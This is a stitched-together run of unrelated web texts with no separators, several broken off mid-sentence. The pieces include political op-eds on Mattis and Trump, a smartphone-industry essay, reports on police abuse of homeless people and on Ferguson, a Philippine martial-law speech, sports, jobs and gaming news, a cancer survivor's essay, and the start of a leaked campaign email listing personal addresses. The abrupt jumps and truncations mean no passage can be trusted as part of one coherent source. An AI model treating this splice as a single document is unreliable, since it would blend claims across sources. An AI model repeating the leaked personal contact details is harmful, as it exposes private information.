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So it came as something of a relief to watch Mattis on Thursday answer questions before the Senate Armed Services Committee chaired by the notably bomb-happy McCain in a way that reaffirmed he has not been absorbed (yet) into the Trump Tower Borg. To wit:
Mattis supports continuing to give women more jobs in the military, including in combat positions. This is an issue that was not talked about a great deal during the presidential campaign, but Trump has opposed integrating women more fully into the armed forces, as has his vice president, Mike Pence. “The Rachel Maddow Show” dug up a tape a few months ago in which Trump called having women in the military “bedlam,” and the president-elect has blamed the presence of women for the rate of sexual assaults in the ranks.
In addition, Mattis confirmed his belief in the importance of the North American Treaty Organization, calling it “the most successful military alliance... in modern world history, maybe ever” and said that Vladimir Putin would like to “break” NATO. This will surely come as a relief to America’s allies who still hope to look to it for leadership in the future. It is also an indication that Mattis is more clear-eyed than his boss about Putin’s intentions in weakening the liberal world order that the U.S. has led since the end of World War II. Considering all the paranoia that reports of Russian meddling in the election have unleashed, perhaps Mattis can act as a counterweight to whatever pro-Putin tilt Trump is likely to take.
And Mattis does not advocate breaking the Obama administration’s deal with Iran concerning its nuclear weapons program. This is a break from Trump, who has called it a “terrible deal” and promised to renegotiate it.
This is not to paint Mattis in too nice a light. He is still a hawk, particularly on the Middle East. It was Mattis' desire to be more confrontational with Iran regarding some of its provocations in the Persian Gulf that led to clashes with the Obama administration over its Iranian policy and eventually the general’s retirement from the military in 2013. He has seemed uninterested in the issue of sexual assault in the military, which came up only in one brief question from Sen. Joni Ernst, R-Iowa, on Thursday. But this is sure to be a major issue for the military in the near future as women continue taking larger and larger roles in the institution.
There is also the fact that Mattis needs a waiver from Congress to get around a law barring retired military members serving as leading civilian Pentagon officials for seven years after retirement. The law was intended to continue the tradition of civilian control of the military and the Defense Department, which the Founding Fathers saw as necessary. Still, the Armed Services Committee approved the waiver almost unanimously on Thursday. With Mattis' often-hawkish views, there is rightful concern that he will not be much of a restraint on use of the military by a president with a hair-trigger temper and no experience in international diplomacy.
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Still, Mattis came off as a realistic, even-tempered believer in America’s place as a counterweight to some of the grander ambitions of countries like Russia and China in the Far East. With Donald Trump in the White House, he might be less terrible than we could have expected. It’s not much, but this is what passes for hope in the waking nightmare that Trump’s presidency is shaping up to be for anyone to the left of Genghis Khan.Smartphones are dead because of a combination of technological advancements and the even more substantial impact of how we as users have evolved in our expectations and usage of these devices. We, in practice, have moved smartphones more to the position of a personal computer than a phone. The smartphone is dead because it has evolved into something else: a mini-tablet PC. We've moved smartphones more to the position of a personal computer than a phone. The full breadth of the personal computing landscape is shifting. It is moved by the fluid mobility of our digital experiences. These experiences, by virtue what they are, compel and are compelled by our physical mobility. Tech companies like Microsoft, Apple and Google have attempted to remain in lockstep with this evolution by creating ecosystems of cloud-based computing to manage users' digital experiences. PC and smartphone (mobile-first) manufactures have iterated and evolved products, even switched roles, in attempts to keep up with the diverse demands of a personal computing industry that is in a state of flux.
Throughout this series, I have presented an analysis that the industry is evolving away from an iPhone- and Android-supported smartphone model toward an all-in-one ultra-mobile PC model, backed by Microsoft's Universal Windows Platform and Continuum. In addition to our previous analysis of the firm's market positions and personal computing strategies, recent data from IDC and Strategy Analytics seem to support the analysis thus far presented in this series. Proof positive Recent data from Strategy Analytics reflect our previous assertion that the smartphone market is now saturated and virtually anyone who wants a smartphone has one. This has led to the first global decline in smartphone sales ever:
According to the latest research from our Wireless Smartphone Strategies (WSS) services, global smartphone shipments fell 3 percent annually to reach 335 million units in Q1 2016. It is the first time ever in history the global smartphone market has shrunk on an annualized basis.
After nine years of seeking to accommodate users' and developers' demands for more PC-like personal computing through more powerful phones, the personal computing environment is changing. But not all of the big players have the same plan to adapt. In part two of this series we highlighted in broad terms the iterative strategies of Google and Apple as they position their phones as "phones" in the market. We contrasted that strategy with Microsoft's evolution of the category as Redmond seeks to merge the phone and PC environments in a sharp departure from the industry's status quo. Microsoft's CEO Satya Nadella said it this way:
Just like how with Surface we were able to create a category. Three years ago most people would have said, "What is a two-in-one?" And now even Apple has a two-in-one. And so three years from now, I hope that people will look and say, "Oh wow, that's right, this is a phone that can also be a PC."
PC sales are in decline and the smartphone industry is plateauing.
Furthermore, as I posited in a previous piece, Surface inspired 2-in-1 PCs are setting the stage for the Surface "phone": a possible ultra-mobile PC with telephony. This goal is being accomplished on two fronts. Surface knowledge The first way in which 2-in-1s are preparing the way for a Surface "phone" is that PC manufacturers, which have embraced this Surface-inspired category, have openly acknowledged a shift in computing toward context-sensitive (Windows) PCs. As a matter of fact, IDC reports that this category of tablets has seen a triple-digit increase year over year:
Meanwhile, detachables experienced triple-digit year-over-year growth on shipments of more than 4.9 million units, an all-time high in the first quarter of a calendar year.
OEMs and users' perspectives are being shaped around Microsoft's idea of mobility. Second, users are being introduced and acclimated to (on a large scale) Microsoft's Universal Windows Platform and Continuum through Windows 10. This introduction is helping to shape the perspectives of both OEMs and users around Microsoft's idea of the mobility of experiences and how a modern personal computer conforms to those experiences. Furthermore, the IDC expects that this Microsoft-inspired category will only continue to grow in the future:
"Microsoft arguably created the market for detachable tablets with the launch of their Surface line of products," said Jitesh Ubrani, senior research analyst with IDC's Worldwide Quarterly Mobile Device Trackers. "With the PC industry in decline, the detachable market stands to benefit as consumers and enterprises seek to replace their aging PCs with detachables."
The old switch-a-roo An interesting phenomenon has begun to occur in this dynamic personal computing landscape. Microsoft's form factor-transcending ideology and ecosystem has had a transformative effect on PC and mobile-first manufacturers. Consider this: HP, a traditional PC maker (that previously had a foray in the smartphone space) has revisited that space with the Windows 10 Mobile powered HP Elite X3 smartphone. On the other side of this spectrum, mobile-first company's such as Huawei and Samsung have brought 2-in-1 PCs to market.
Likely due to eroding margins in regular slates, 1Q16 also saw the introduction of detachable tablets from traditional "mobile first" vendors like Samsung and Huawei.
This repositioning of traditional PC manufactures on Windows-based smartphones and mobile-first companies on Windows based 2-in-1s foreshadows the capability and likely future role of these manufacturers. The ability of these manufactures to adapt their device portfolios from a "PC to mobile" or "mobile to PC" category indicates a capability of manufacturing a device that represents a confluence of both. Indicates a capability of manufacturing a device that is both a phone and PC. With an expected category-defining Surface phone in 2017, the industry of users and manufacturing partners are being positioned to be receptive to a device that is likely both a pocket-sized computer, through Continuum, while retaining its capabilities as a phone. The aforementioned PC and mobile-first manufacturers, who have thus far been responsive to their shifting roles and to the evolution of personal computing devices, will be well positioned to emulate such a device. Meeting in the middle
I believe that the foundation for the all-in-one ultra-mobile PC is being fortified as demand for contextually sensitive devices continues to rise, manufacturers grow more comfortable in their roles providing an evolving category of mobile computers and as competition drives innovation and firms capitalize on their industry position and strengths. IDC's Research Director Jean Bouchard predicts:
"The introduction of detachables from traditional smartphone vendors is only beginning and pose a real threat to traditional PC manufacturers. Their understanding of the mobile ecosystem and the volume achieved on their smartphone product lines will allow them to aggressively compete for this new computing segment."
The push of traditional smartphone vendors to compete in the detachables PC space while combining their inherent strengths as mobile vendors provides a natural mix of conditions toward the adoption of an ultra-mobile Windows PC once Microsoft introduces an aspirational flagship to emulate. Jean Bouchard continues:
It is likely that those smartphone vendors will utilize the detachable segment to create new mobile computing end-user experiences if customers are using their detachables in combination with their smartphones."
PC manufacturers such as HP and Acer who have already embraced Microsoft's vision of a Continuum enabled phone are likely committed to the natural evolution of Microsoft's "phone" vision. As such the ideology, form factor and innovations a Surface "phone" demonstrates will likely be fully embraced and competitively exemplified in these, and other PC manufactures possible future ultra-mobile "PCs." Traditional smartphone vendors building 2-in-1s is a natural mix for ultra-mobile PCs. That said, I foresee a personal computing landscape where Microsoft's efforts to bring the phone and PC together ultimately cause mobile-first and PC manufactures to compete in the same space. This level of investment from diverse industries converging on Microsoft's platform can bring innovation as companies compete for dominance with converged devices. Unlike the smartphone space that is founded on the separation of the phone and PC environments, this space is not bound to a dead end of mere device and software iteration. Microsoft's option is an untapped and boundless frontier. A frontier Redmond is committed to pioneering. Ummm….Continue
Satya Nadella sees Continuum as the foundational component of this future of personal computing. It is key to his vision of putting the power of the PC in the hands of the dual user. This spans the enterprise as well as the consumer space as he expressed in a recent interview with Business Insider:
Take emerging markets. India for sure is a mobile-first country. But I don't think it will be a mobile-only country for all time. An emerging market will have more computing in their lives, not less computing, as there is more GDP and there is more need. As they grow they will also want computers that grow from their phone. What's the most logical thing? I would claim it's a Continuum phone, which means that it can have other forms of input beyond touch.
Clearly Nadella sees Continuum as an industry-defining ecosystem feature that will shape personal computing in the near future. He states "... I'm not trying to be another phone guy with the other person's rules. What is unique about our phones is this Continuum feature. [Continuum lets you take the screen of your Windows phone and connect it to a monitor, keyboard, and mouse, and use it like a computer.] If anything, we will want to continue to build that capability out." Nadella's ambition is bold. Where this quest to merge the smartphone and PC will ultimately lead is a question only time can answer. But one thing is certain, Microsoft's answer to mobility is far beyond the smartphone. Wrap Up Smartphones are dead. They have evolved into mini-tablets. And the saturated iteration-focused smartphone market has spoken. There is little further that model, which keeps the phone and PC separate, can take smartphones.Spread the love
Torrance, CA — In cities across the US, it is becoming increasingly illegal to sit for too long or sleep in public. Beat downs, humiliation, and arrests by police are, unfortunately, becoming a larger and larger part of the homeless culture.
Whether the dehumanization is to make way for the up and coming comic book festival or just a run of the mill sadistic police gang murder, homeless folks in the US are finding themselves in an increasingly hostile police state.
American police play the majority of the role and are almost never held accountable for thier actions. Cops in Saginaw, Michigan, who shot and killed homeless Saginaw resident Milton Hall, in firing squad fashion, during a confrontation in a shopping plaza parking lot were let off without facing any charges. Who cares about one dead homeless guy, right?
Well, that seems to be the prevailing mentality among police officers. After a cop in San Antonio was caught giving a homeless man a literal shit sandwich, apparently rampant abuse is now the norm.
Thanks to the good folks at the independent media outlet, Onus News Service, we now have more cops exposed for degrading and dehumanizing people for the sole reason that they do not have a home to live in.
A video uploaded to the Onus YouTube channel over the weekend shows just how much disdain some cops have for homeless people.
Cops in Torrence, CA were captured on video tormenting a homeless man for sleeping in a park.
Instead of walking up to the sleeping man and his dog and just saying, “Hey man, can you please wake up?” the officers — at 12:30 am in a residential area — took to blasting their noise maker and shining lights on him. However, that was just the beginning.
The two cops then walked over to the area, began picking up pieces of trash and lobbing them at the sleeping man and his dog.
Not content with the trash throwing, one officer took to hurling bottled water at the man as if he was some monkey in a zoo.
Clearly, the homeless man was very tired — or scared to death that these cops were going to hurt him. So, he did not immediately get up. That’s when the cops climbed over the tables to get a bird’s eye view.
While standing above the sleeping man and his dog, one officer takes out his baton and begins prodding the man with it, like he’s livestock.
Eventually, the man gets up and is forced to move on. His safe park sleeping spot now brutally ended.
Luckily he wasn’t killed.
As they had nothing to charge him with, the man was not arrested. However, he was forced to pack up and find another place to go.
This man’s treatment should come as no surprise, especially considering the horrific treatment of homeless people in California. As TFTP has previously reported, the City of Santa Ana has come up with an innovative and despotic way of keeping their homeless population in check — imprison them. The city is now party to a federal lawsuit over unreasonable seizure, false imprisonment, and due process violations.
Heading up the lawsuit on behalf of Michael Diehl, who has lived at the encampment for three years, is the ACLU of Southern California. The lawsuit demands the immediate removal of the 6-foot-tall chain-link fences penning in 75-100 people and their belongings.
“Defendants’ actions have not only illegally restricted the liberty of the homeless people living in the encampment, but it has also cut them off from access to food, water, and medical care thus threatening their health and well-being,” the lawsuit states.
“Children, people with severe disabilities, the elderly and others are deprived of food, water and access to restrooms,” said ACLU homelessness policy analyst Eve Garrow. “The county should take action to rectify this egregious violation of basic human rights.”
After seeing how California is literally rounding up the homeless in concentration camps, hurling trash at a sleeping homeless man is seen as par for the course.(Editor’s Note: The author, the deputy governor of the Bangko Central ng Pilipinas, delivered these remarks at the relaunch of the book, “Not On Our Watch!” on Sept. 23 at Fully Booked, Bonifacio Global City.)
Our long, but definitely catchy, title raises the logical question, who are we?
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Let me speak for myself. I have two sons, Daniel and Abraham, who were born in the late 1980s, years after martial law was dismantled. They have very little idea of what it was like to live in a country where military rule was the politics of the day. My stories sound strange to them. They know of my network of friends: Some, classmates at university, some, partners in the work of spiritual ministry, and some, colleagues in the banking community.
But I have links with the past and our unwritten covenant in the 1970s is now documented in this book, “Not On Our Watch!”
Far from fictional
We are the remnants of a past that some would rather forget. We wrote this book not merely to transcribe this painful past. We wrote it to provide the flesh and the blood behind the narratives. This book is as far removed from fiction as east is from west. It abounds in facts, it abounds in perspectives, it abounds in so much meaning and relevance today.
Martial law, we were there! That immediately established our firsthand testimony. A careful reading of the stories and commentaries would establish in great detail the continuity of events from one story to the other. Internally consistent, all the stories have one resonating message: Martial law was real. The stories capture what we have buried in the depths of the ruthlessness and death and deception that was martial law. In remembering, we are able to share the important message that even during the peak of military dictatorship, we clenched and raised our fists. We said “No! not on our watch.”
How to remember
But how do we remember the things that are important?
The experts argue that mnemonic strategies, contextual learning, repetitive rehearsal and emotional arousal represent the best strategies for remembering. It is easy to forget. Indifference can extinguish one’s memory of a distant past. Preventing truth from coming out is another ground for throwing our memories into the dustbin of forgetfulness. Our book of stories provides us with a colossal basis not to forget, but to remember.
Martial law is the recurring theme of all the stories; martial law is military supremacy over civilians; martial law is Marcial Bonifacio of Ninoy Aquino; martial law is the martial tempo of “Bagong Lipunan” that essayed a military solution to achieve “bagong bansa, bagong galaw, sa Bagong Lipunan.” Even the children were deprived of their favorites, “Voltes V,” “Daimos” and “Mazinger Z.” Martial law is curfew, martial law is Ariel Ureta swearing allegiance to the object of his own joke. This is the mnemonic strategy of not forgetting, but always remembering. These experiences lead to our mind and soul relating the sights of ruthlessness, the sound of torture and truncheons and the smell of death in the prison cells, on the street of Mendiola and the wilderness of military encounters.
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Providing context
Contextual learning comes about with the realization that your friend who stood against the military in defense of the farmers was gunned down in front of his wife and children. It is not easy to forget that a dear friend who was so silent in class but so vocal against the military could be raped and tortured; that she was made to stand on ice and her feet scorched by a very hot iron. It is impossible to forget a fraternity brother who was made to dig his own grave, buried up to his neck and then bayoneted. This is the context of all our stories. We lived to this day to recount our own share of less sordid details.
Yesterday, we saw in the Inquirer a very touching picture of a boy lighting a candle at the Bantayog ng mga Bayani in Quezon City. That provides us with another context for what we are launching today. A candle throws light on a dark night. The lives of those whose names are etched on the granite Wall of Remembrance were the lights during the dark days of military rule. There are, no doubt, thousands more but their names can no longer be remembered, a painful paradox when today we remember and even vote for the names of those who never had the courage to take a stand between 1972 and 1981, or beyond.
Never forget
We will not fall into the trap of forgetting. We shall continue to remember through repetitive rehearsal. We should write more books about those days when you had no idea who would come through your door, when you were at ground zero not knowing what the uniformed men would do when you were moved from one military camp to another. We should commemorate every year the declaration of martial law on Sept. 21, 1972, not so much to rejoice but simply to remember, to keep alive the idea that freedom is won and not given, that the future is bought by the past and the present in a continuum of struggle and sacrifice.
We shall never forget because memory is reinforced by emotional arousal. It is not easy to forget because you can still feel the rage and repugnance at being imprisoned in a small cell with occasional visits from a verdugo (hangman); you feel the rage and disgust knowing that while people toiled day and night, the wealth actually accrued to a very few then. The wealth continues to accrue to a very few now.
Those who lived during the martial law dispensation may have their own narratives as those of us who wrote this book. But we wonder whether the rest would have experienced the same rage and revulsion against the cruelty of uniformed men, oppose and protest against the detestable greed of rent-seekers at the expense of the laboring classes.
It is in deciding what to do next in the aftermath that we really begin to think. What did we sacrifice? Many of us risked our lives and our future. Only in hindsight did we realize how risky the struggle for national democracy was.
What is our challenge today? Many of us from the First Quarter Storm found ourselves going back to the mainstream. But the few of us who remained fighting sacrificed their lives and their future. The challenge to us in the mainstream is quite obvious. We need to continue raging against the dying light of patriotism. It is important to keep our hearts focused on national transformation. Should we allow the spirit of institutionalized ruthlessness and violence stalk the land again? We can only say, “Not on our watch!”
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MOST READIn Maryland, it's hard to tell exactly where the law stops and parenting begins.
Dvora, 6, and brother Rafi Meitiv, 10, of Montgomery County, Md. (Photo11: Andrea McCarren, WUSA-TV, Washington)
Two Sundays ago, Danielle and Alexander Meitiv of Montgomery County, Md., got a call from Child Protective Services. Police had taken their two children, ages 10 and 6, into custody three hours earlier and were holding them at the crisis center.
Had the children been abused? No. Were they lost? No. So what prompted this extraordinary intervention? A concerned pedestrian had seen the children walking alone and called 911. It was the second time in four months that the Meitivs' children were reported to authorities as they walked home |
Loudred, Exploud, Pachirisu, Togekiss, Gothitelle, Vanillux,
Though I doubt they’d change the type of an Iconic Electric-Type like Pikachu, it can’t be denied that it’s in the Fairy Egg group. As you can see, I intend to cover a lot of bases with this list.
[/spoiler]
Anything I’ve missed? Anything you guys feel should be added? Let us know below!
Hope you enjoyed the read!
80 Days Remaining Until
Featured Thread: So when are Jessie and James becoming a couple? by MeapClemson coach Dabo Swinney agreed Saturday to a new eight-year deal worth $27.15 million, keeping him with the Tigers through the 2021 season.
The Clemson University Board of Trustees Compensation Committee approved the terms Saturday morning. Swinney will make $3.15 million in 2014, up from the $2.2 million he earned this past season, will have more money available to pay his assistants and has a $5 million buyout if he decides to leave Clemson during the first three seasons of the deal.
Swinney has scheduled pay raises of $3.3 million in 2015 and $3.45 million starting in 2016. If Clemson wins the ACC championship in 2014, '15 or '16, his salary will jump to $3.5 million the following year. He has the opportunity to earn even more based on incentives, ranging from bowl appearances to a spot in the upcoming College Football Playoff.
Clemson coach Dabo Swinney has agreed to an 8-year contract extension. Tyler Smith/Getty Images
"Dabo is one of the top coaches not only in the ACC but in the entire nation," Clemson athletic director Dan Radakovich said in a statement. "His teams have succeeded on the field, in the classroom and in the community. We're excited to have him lead our program for a long time into the future."
Swinney, headed into his sixth full season as coach, has gone 51-23 at Clemson, including 33-12 in the ACC. The Tigers have won 10 or more games in three straight seasons, the first time that has happened at the school since 1988-90. That includes back-to-back 11-win seasons and a first BCS win, over Ohio State in the Discover Orange Bowl earlier this month. Clemson has five victories against teams ranked in the top 10 in the last three years; only Alabama and Oklahoma have more (six each).
Off the field, Clemson has finished among the nation's top 10 in the NCAA Academic Progress Report each of the last three years. Swinney's also has emphasized community service. Dabo's All-In Foundation, with a mission to raise awareness of critical education and health issues to help people across the state of South Carolina, has donated and pledged nearly $1 million to local organizations in the past four years.
"I'm extremely excited and appreciative for the opportunity to continue to build our program under the leadership of President Jim Clements and our athletic director Dan Radakovich," Swinney said in a statement. "The future of Clemson University is extremely bright and the future of our football program is as well. While we have accomplished many goals, we still have several out there to reach and we will continue to work to get there. Kathleen and I are looking forward to continuing to be a part of the great community of Clemson, the Upstate and the state of South Carolina."Losing a friend to cancer from the perspective of someone who has survived it is rough. Feelings of grief and mourning are usually accompanied by survivor's guilt.I'll never forget the story of one of my cancer warrior brothers, Michael Atkins, whom I had met on a support group along with many others back in early 2011, when we were diagnosed with testicular cancer. Of all the people I had met during this time, I really identified with Michael, because he was a family man like me. I had two young children at home, but Michael and his wife, Kirsten, had four. I wanted to believe that all of us would survive and get through our cancer fights together, but I really needed Michael to survive, because Michael was me, and I was Michael.There is no easy cancer, but my Stage 2 testicular cancer was relatively easy pickings. My fight was done and over within five months, but Michael was diagnosed with Stage 3 pure choriocarcinoma, and had a long and tough fight in front of him. It's true that testicular cancer is considered to be the most curable cancer, but not the pure choriocarcinoma form of it, which is so aggressive that only about 1 in 10 survive this form of the disease.Michael's fight was brutal. He went through primary and high-dose chemotherapies, the two very best chances for a cure, both of which failed to cure him. Then, there were numerous clinical trials that he went through over the next year and a half, while criss-crossing the country, and seeing the very best doctors possible. Many of these treatments gave a response, but only bought him time, and not a cure. Michael put on a strong front throughout, and there was always another plan or another option on the horizon, until he just couldn’t go on anymore.After nearly two years of fighting, the news came in January of 2013 that their fight was winding down, and two months later on February 28th, 2013, the white flag was officially raised. Michael’s body had been battered by so much continuous chemotherapy and radiation over the past two years, that he no longer had the strength to make it to appointments; his body gave out before their options did. In-home hospice had to be started, at which point I fell to absolute pieces, because I could no longer hide from the fact that my friend was going to die.From the time Michael entered hospice care on the 28th and through his passing on March 7th, 2013, I was overcome with grief and sadness unlike anything I’d ever experienced before. I cried everyday for hours, numerous times per day, and was simply inconsolable during this time. I couldn't sleep, I couldn't think, and I couldn't do anything besides mourn for my friend and his family. I prayed constantly for Michael to have a peaceful passing, for him to be free of pain, for his wife to find the strength that she needed, and for his four children to find peace and comfort through all of this.It wasn't just the loss of a cancer warrior brother that had me huddled in a corner in tears - I also had terrible and gut-wrenching feelings of guilt, as though a knife were tearing through my soul. I mourned Michael's passing as though he really were a brother, but also felt terrible about the fact that I was getting to live and enjoy life with my family and my two children, but here was a guy with four children that wasn't going to make it. It didn't seem right. It didn't seem fair. I was Michael, and Michael was me. Why was I getting to live with my two children, yet he was being taken from his four?Experiencing survivor's guilt is a very normal part of life as a cancer survivor. This wasn’t the first time that I had experienced it, but Michael’s passing was, by far, the most powerful case of it I’d experience in my years after cancer. Watching people that I had cared so much about die while their families watched helplessly, is what finally made this whole cancer thing real to me. It's okay to mourn, but don't forget to remind yourself that it's okay to live, as well. Your families and your friends all need you to. Live the best possible lives that you can, on behalf of those that couldn't. Honor them and keep their memories alive by doing things that you think would make them proud, and put smiles on their faces.As it turns out, experiencing survivor's guilt is also a huge opportunity for growth. I definitely gained some new appreciation for my life immediately after my cancer fight, but that was merely a warm-up. Not being able to make any sense of the death of friends in the years after, is how I really came to appreciate my opportunity for life so much more. The beautiful woman by my side, the laughter of my children, the joy that friends had brought into my life, and all that the world had to offer all became so much more real and vivid to me, knowing that friends were no longer here to experience any of these joys of our physical world. Terrible survivor's guilt helped me to evolve as a person, and truly take nothing for granted anymore. It's out of the ashes of the deaths of friends like Michael, that I became so much more aware, and gained the full appreciation for life that I have today.Special thanks to Michael's widow, Kirsten Ingebretsen, for allowing me to share a part of their story with the world.How did loss and survivor's guilt affect your journey? Share in the comments below.Advertisement Gov. Cooper announces 80 new jobs in Guilford Co. Share Shares Copy Link Copy
Gov. Roy Cooper announced that 80 new jobs will be coming to Guilford County over the next three years.Superion, LLC, is investing $3.46 million to expand its existing operations in Guilford County, creating 80 new jobs over three years.The software company provides services to public sector groups. "Our state's software and IT industry is strong and getting stronger," Cooper said. "Jobs like Superion's are in demand, and we're committed to increasing the pool of talented tech professionals in North Carolina ready to fill that need." Superion provides software solutions to address the specialized and complex needs of municipal and county governments and agencies in the areas of public safety and justice and public administration. "Superion has found success already in High Point, and I know they are making the right decision to expand here," said North Carolina Commerce Secretary Anthony M. Copeland. "The customized training our community colleges will conduct, as well as our business climate and the health of our IT industry, will support Superion's continued success." Superion currently has 155 full-time employees in High Point. The new jobs will include product support, professional services, and software development. The project will require office upgrades and new IT equipment. Salaries for the new jobs will vary by position but will average $57,829. The average wage in Guilford County is $45,602. The North Carolina Department of Commerce and the Economic Development Partnership of N.C. were instrumental in supporting the company's expansion decision, the governor said. "We are thrilled to be expanding our operations in High Point and building out a national Center of Excellence for our public safety software business," said Simon Angove, Chief Executive Officer of Superion. "The business-friendly environment and access to a wealth of technical talent means we've enjoyed a lot of success in Guilford County." A performance-based grant of $160,000 from the One North Carolina Fund will help facilitate Superion's expansion in Guilford County. The One N.C. Fund provides financial assistance to local governments to help attract economic investment and to create jobs. Companies receive no money upfront and must meet job creation and capital investment targets to qualify for payment. All One NC grants require a matching grant from local governments and any award is contingent upon that condition being met. In addition to North Carolina Commerce and the Economic Development Partnership of North Carolina, other key partners in the project include the N.C. General Assembly, the N.C. Community College System, the city of High Point, the High Point Economic Development Corporation, the Greensboro Chamber of Commerce and the Guilford County Economic Development Alliance.Nearly a year ago, the Department of Justice documented widespread civil rights violations in Ferguson, Missouri, where city officials, police officers, and a compromised judge ran a corrupt system that balanced the municipal budget on the backs of the poor, fleecing them for minor infractions and imposing harsh penalties for late payment. After years of jaw-dropping abuses, rights violations, and needless brutality, much of it directed at black residents, the city was poised for an eruption when Officer Darren Wilson shot and killed 18-year-old Michael Brown.
Protests, civil unrest, and more police abuses followed.
Last week, DOJ’s expensive plan for reforming the oppressive system was made public. Cash-strapped city leaders now face a defining choice: “Ferguson can approve the agreement, trusting that voters will approve two tax increases in April that will provide some relief,” The St. Louis Post-Dispatch reports, “or it can reject it, hoping to prevail in a lawsuit the Justice Department would almost certainly file against the city.” Either course will leave the city in dire financial straits.
The 131-page agreement is already the product of protracted negotiations with the city, and includes the following mandates to be overseen by an independent monitor:A House Republican who once compared Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE to a fascist dictator and called on him to step aside now plans to vote for the GOP presidential nominee.
Rep. Chris Stewart Christopher (Chris) Douglas StewartBill Kristol resurfaces video of Pence calling Obama executive action on immigration a 'profound mistake' GOP lawmaker calls Trump emergency declaration 'a mistake' The Hill's Morning Report - Presented by the American Academy of HIV Medicine - Will there be any last-minute shutdown drama? MORE (R-Utah) said Trump is still preferable to Democrat Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE.
"It is very clear that Donald Trump is a better choice than Hillary Clinton," Stewart said in a video posted by St. George News. "At the end of the day I will be voting for Donald Trump."
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He explained that a vote for any candidate apart from Trump would help hand the election to Clinton.
Independent candidate Evan McMullin is polling close to Clinton and Trump in Utah, making the normally reliable GOP state into a late-in-the-game battleground.
"These other candidates are just not going to win," Stewart said. "Given that choice, it's very clear to me what is better for our country. It is very clear that Donald Trump is a better choice than Hillary Clinton."
Stewart’s stance is a reversal from earlier this month, when he called on Trump to step aside and allow vice presidential nominee Mike Pence Michael (Mike) Richard PencePence meeting with Senate GOP ahead of vote to block emergency declaration 'And the award for best political commentary by an Oscar nominee goes to...' UN nuclear watchdog: Iran maintains compliance with 2015 pact MORE to stand at the top of the ticket instead. Many Republicans disavowed Trump after the public release of a 2005 recording in which Trump brags about using his celebrity to get away with touching women without their consent.
"Unlike the Democrats who have proven completely unwilling to hold Secretary Clinton accountable for her illegal activities that endangered our national security, I am willing to hold Mr. Trump accountable. I am therefore calling for him to step aside and to allow Mike Pence to lead our party,” Stewart said in a statement a few weeks ago.
Since then, many of those same Republicans — Stewart included — have announced they will vote for Trump after all.
Fellow Utah Rep. Jason Chaffetz Jason ChaffetzTop Utah paper knocks Chaffetz as he mulls run for governor: ‘His political career should be over’ Boehner working on memoir: report Former GOP lawmaker on death of 7-year-old migrant girl: Message should be ‘don't make this journey, it will kill you' MORE, the House Oversight Committee chairman, also said Wednesday he would vote for Trump, despite declaring hours after the tape’s release that he could “no longer in good conscience endorse this person for president.”
Stewart had been critical of Trump even before the tape’s release.
In March, he told University of Utah students that Trump is “our Mussolini,” the World War II-era Italian dictator.World War Z, the zombie apocalypse novel turned movie, is now becoming a video game. The game, simply titled World War Z, was revealed during today’s The Game Awards.
Developed by Saber Interactive, the studio whose work includes shooters like Inversion, Timeshift and Quake Champions, World War Z is coming to PlayStation 4, Windows PC and Xbox One.
The trailer for World War Z featured some of the familiar zombie horde imagery seen in the film of the same name, namely hundreds of zombies filling the screen and climbing over each other to form human structures.
In a press release, Saber Interactive said World War Z will be a four-player cooperative action game. The campaign focuses on “unique survivor stories and missions around the globe, including New York, Moscow and Jerusalem. Use traps, barriers and the environment strategically to stay alive while unleashing a storm of firepower with a variety of weapons on the unrelenting hordes of the undead.”
“World War Z is a name synonymous with heart-pounding fear and action, and we’re excited to finally capture that energy in a fast-paced and gruesome experience crafted specifically for modern consoles and PC,” said Saber Interactive CEO Matt Karch in a statement.
For a look at World War Z, check out the world premiere trailer above.I like Drums. And Bass. from DJ Autom8 on Vimeo.
Finally, laptop music need no longer be lit by some bad club lights and the glow of your MacBook display.
Things are getting really interesting. Just ask Jonathan Thompson, a student who hacked Max for Live into an LED wall and got a blindingly-bright display grooving with the music. He writes:
I absolutely love your site, and I have always wanted to contribute, but never have felt I had anything good enough to share with others. Well, I finally created something that I think others would enjoy. I am a college student, and created all of the software being used for this video in Ableton/Max4Live, including reverse engineering the LED wall protocol. This particular video was a test of some new lighting tools I built for the Glowing Room Initiative, an electronic music collaborative kickstarted by an art grant. I’m planning on filming a detailed walk through and explanation
of how the systems work at some point, but I’m not sure when that will happen since finals are quickly approaching.
Yeah, I think we’re all feeling that spring pressure on – but you can bet we’ll be eager to document what he’s done. And continue the good fight against boring visuals. Represent.Fwd: TPP/TPA letter
From:jake.sullivan@gmail.com To: john.podesta@gmail.com Date: 2015-03-03 02:50 Subject: Fwd: TPP/TPA letter
Would be best not to have this letter go forward at all. Begin forwarded message: > From: Samuel Berger <sberger@albrightstonebridge.com> > Date: March 2, 2015 at 11:45:46 PM EST > To: Dan Schwerin <dan@hrcoffice.com>, "'jake.sullivan@gmail.com'" <'jake.sullivan@gmail.com'> > Cc: Samuel Berger <sberger@albrightstonebridge.com> > Subject: TPP/TPA letter > > As I think about it, this one is even harder than Iran. Battle lines are forming. Will be read as early signal of where she's headed on the basic economic issues-- have trade agreements helped us or hurt us? Who have the helped? Do they increase gaps, or reduce them? > > Purely to frame thinking, I've listed below some of the pluses and minuses of signing the letter. > > Pros and cons of signing > > Pros: > -- She was instrumental in launching TPP negotiations. What has changed (other than the politics)? > > -- Failure of the U.S. to approve a deal, if one is reached, would be huge setback for US in Asia; undermine US leadership in the Asia/Pacific region; and guaranteeing China-centric model. > > --Supporting seems more consistent with her larger, outward looking world view, based on building partnerships and arrangements around common interests. > > --While not unchallenged, most studies show strong economic benefits to US. > > --Don't duck the issue by not signing. Absence will not go unnoticed. (Some possibility--unsure-- that being part of letter with most all former Sec/State; Sec/Defense; NSAs; many retired 4-stars is lower way to take position) > > -- What is public rationale for not signing? > > Cons: > > -- Can be used as a "wedge" issue between H and more populist wing of party. Could well be seized upon as first indication of tilt of her economic policy. > > -- Studies by progressive experts which show that job benefits of trade agreements wildly overstates and benefits go largely to big corporations. Wouldn't imagine you are geared up to rebut that argument yet. > > -- Defeating is number one priority of labor. TPP becomes surrogate against globalization". Can't vote against rise of global manufacturing, or new labor saving technologies or global communications which creates 